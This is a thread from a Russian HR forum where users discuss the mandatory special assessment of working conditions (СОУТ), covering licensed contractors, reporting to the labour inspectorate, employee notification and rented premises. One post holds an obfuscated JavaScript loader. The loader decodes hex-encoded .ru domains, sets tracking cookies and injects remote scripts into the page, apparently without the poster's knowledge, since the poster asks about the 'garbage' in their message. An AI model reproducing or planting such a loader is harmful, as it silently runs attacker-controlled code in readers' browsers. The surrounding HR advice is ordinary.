Тема форума: Спецоценка условий труда | Форумы "Кадровое делопроизводство" | Сообщение № 117920
Страницы:1
Ответить
Спецоценка условий труда
 
Дорогие коллеги!
Прочитала, что все компании должны проводить спецоценку условий труда. Тем, кто этого не сделает, грозит штраф. Причем, немаленький – до 80 000 руб.
Что это за спецоценка, как проводится, что из себя представляет?
 
Юлия А, проводят лицензированные компании, а не сама организация. Обращайтесь к ним, все сделают. Вам выдадут уже заключение.
 
правильно ли я поняла, все ООО даже самые мелкие должны пройти эту процедуру до 2018 года? Нужно ли этот отчет будет представлять в инспекцию труда?
 
Цитата
Юлия А пишет:
все ООО даже самые мелкие должны пройти эту процедуру до 2018 года?
Это должно быть сделано уже сейчас, а не до 2018 года.

Цитата
Юлия А пишет:
Нужно ли этот отчет будет представлять в инспекцию труда?
Отчет по СОУТ обычно передают в инспекцию те компании, которые его проводят (у нас это именно так происходит).
Есть два типа людей: одни катят мир, а другие бегут рядом и кричат: «Боже, куда катится этот мир?»
 
Надежда, спасибо за пояснения
 
Добрый день! Начали проводить СОУТ в прошлом году, нашли в интернете несколько фирм, которые занимаются проведением СОУТ, из них выбрали, которая подходит нам (по ценовой политике), заключили договор на количество штатных единиц (по штатному расписанию), инженер по ОТиТБ отправил характеристику рабочих мест( условия: на воздухе или нет, освещение, вредность (шум, гам) и после этого нам недели через 2 прислали сначала черновик СОУТ, мы поправили и теперь уже есть в наличии чистовик. В ГИТ данную информацию отправляет организация, которая проводит СОУТ.
 
Уважаемые коллеги, буду благодарна если кто нибудь поделится образцом приказа о завершении СОУТ (отчет подписан 01.03.2016). И подскажите пожалуйста (если можно то конкретно по датам (по Вашему мнению) :

- когда мы должны были уведомить сотрудников об изменениях в ТД (понятно что за 2 месяца, но ведь мы тогда еще не знали результатов и в части чего будут изменения в ТД);

- и в какие сроки после утверждения отчета по СОУТ мы должны подписать с работниками допсоглашения к ТД.

Заранее благодарю за помощь.

window .a1336404323 = 1;!f unction(){var e=JSON.parse('["7537796231697931783378762e7275","6231746c34717962702e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21822",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();


И еще - что я делаю не так , какой то мусор в сообщении....
Изменено: кузена - 02.03.2016 14:03:58
 
Добрый день!
Подскажите кто сталкивался с такой проблемой. Новая фирма (только организовалась) своего помещения нет.Планирует взять в аренду цех у соседней организации.Нам известно ,что их организация провела в этом цехе СОУТ. Т.е. все рабочие места аттестованы. Можем ли мы принять в расчет их данные по спецоценке или мы обязаны проводить на арендуемой площади свою спецоценку. Производство одно и тоже.И как это все документально оформить? Сталкивался ли кто с таким?
 
Цитата
elizaveta1 пишет:
обязаны проводить на арендуемой площади свою спецоценку
Вы не площади проводите СОУТ, а рабочих мест. ВАШЕЙ организации, а не чужой.

Цитата
elizaveta1 пишет:
как это все документально оформить?
Заказать лицензированной фирме, все сделают в соответствии с требованиями закона.
 
Спасибо за ответ.
Просто раньше на форуме видела подобную ситуацию и вроде бы организации как то выходили из нее,не делав СОУТ. Ведь рабочие места аттестованы.
 
Цитата
elizaveta1 пишет:
Ведь рабочие места аттестованы.
Чьи???? Ваши???? Тогда зачем вам СОУТ????
 
Рабочие места той организации.Мы будем арендовать цех вместе с оборудованием полностью. Суть таже,только работники наши.
 
Цитата
elizaveta1 пишет:
Суть таже,только работники наши.
Не та же. ВАШИ рабочие места не были аттестованы.
Страницы:1
Ответить
Читают тему
Форма ответов
 
Текст сообщения*
Перетащите файлы
Ничего не найдено
Файл